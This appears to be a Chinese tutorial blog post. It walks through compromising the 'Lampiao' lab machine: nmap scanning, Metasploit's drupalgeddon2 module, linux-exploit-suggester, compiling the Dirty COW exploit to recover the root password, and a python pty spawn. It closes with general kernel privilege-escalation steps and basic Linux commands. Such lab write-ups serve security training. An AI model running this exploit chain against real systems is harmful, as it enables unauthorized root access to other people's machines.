一、Lampiao提权案例
1. 端口扫描
使用nmap进行网段扫描
用nmap对可疑IP进行全端口深度扫描
2. 信息收集
发现开启了1898端口,用浏览器访问这个端口
3. MSF连接
使用命令启动msf
搜索框架并使用该模块
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
用show options查看需要配置的参数
设置参数并启动
set rhosts 192.168.150.129
set rport 1898
run
进入命令行收集目标主机信息
uname -a
cat /proc/version
cat /etc/os-release
4. 配置提权工具
下载提权辅助工具linux-exploit-suggester-master,并上传到受害主机
为该文件添加可执行权限
5. 漏洞发现
运行h.sh,看到许多受害主机可能存在的漏洞
从中可以发现存在dirtycow漏洞
6. 漏洞利用
通过使用浏览器查询CVE-2016-5195
找到CVE-2016-5195并访问,从中有对应EXP网站指引,下载EXP并上传至kali
上传文件到受害主机的tmp目录并命名为herry.cpp
upload CVE-2016-5195/dcow.cpp /tmp/henry.cpp
shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o henry henry.cpp -lutil
启动shell,间接在受害主机上对cpp文件进行编译
shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o henry henry.cpp -lutil
启动该程序,可以看到受害主机的登录密码
7. 权限提升
尝试使用su root获取管理员权限,提示缺少终端,使用python下载后重试,并输入刚才跑出来的密码以登录
python -c 'import pty; pty.spawn("/bin/bash")'
二、Linux内核提权利用步骤
1. 信息收集:
- 系统版本:检查内核版本(使用
uname -r
)和发行版信息(如lsb_release -a
)。了解系统的版本对于寻找已知漏洞非常重要。 - 硬件信息:查看系统硬件配置(如
lscpu
、lshw
),一些特定的硬件配置可能与某些内核漏洞相关。 - 已安装的软件:列出所有已安装的软件和服务(如
dpkg -l
或rpm -qa
),以识别可能的漏洞或不安全的配置。
2. 漏洞扫描:
- 内核漏洞:搜索与当前内核版本相关的已知漏洞(可以使用漏洞数据库如 CVE、Exploit-DB 等)。
- 检查补丁:验证系统是否应用了所有的安全补丁(可以使用
yum
,apt
,zypper
等工具来检查更新)。
3. 利用漏洞:
- 选择利用方式:根据找到的漏洞,选择合适的利用方式。常见的利用方式包括内核模块漏洞、特权程序漏洞、配置错误等。
- 编写或下载利用代码:如果漏洞公开且有现成的利用代码,可以下载并使用;如果没有,可能需要自己编写利用代码。
- 执行利用代码:以普通用户权限执行利用代码,如果漏洞存在,可能会提升到 root 权限。
4. 验证提权:
- 检查权限:通过执行
id
或whoami
等命令,确认是否获得了更高的权限。 - 系统检查:确认提权是否成功后,检查系统的其他安全措施是否被绕过或破坏。
三、Linux常用命令
1.ls
列出目录中的文件和文件夹。常用选项包括 -l
(长格式显示),-a
(显示隐藏文件),-h
(以人类可读的格式显示文件大小)。
ls -lah
2.cd
改变当前工作目录。
cd /path/to/directory
3.pwd
显示当前工作目录的完整路径。
pwd
4.cp
复制文件或目录。常用选项包括 -r
(递归复制目录),-i
(覆盖前提示)。
cp source_file destination_file cp -r source_directory destination_directory
5.mv
移动或重命名文件和目录。
mv old_name new_name mv file /path/to/destination
6.rm
删除文件或目录。常用选项包括 -r
(递归删除目录),-f
(强制删除)。
rm file rm -r directory
7.touch
创建空文件或更新文件的时间戳。
touch file_name
8.chmod
改变文件或目录的权限。
chmod 755 file
9.chown
改变文件或目录的拥有者和组。
chown user:group file
10.man
查看命令的手册页(帮助文档)。
man command_name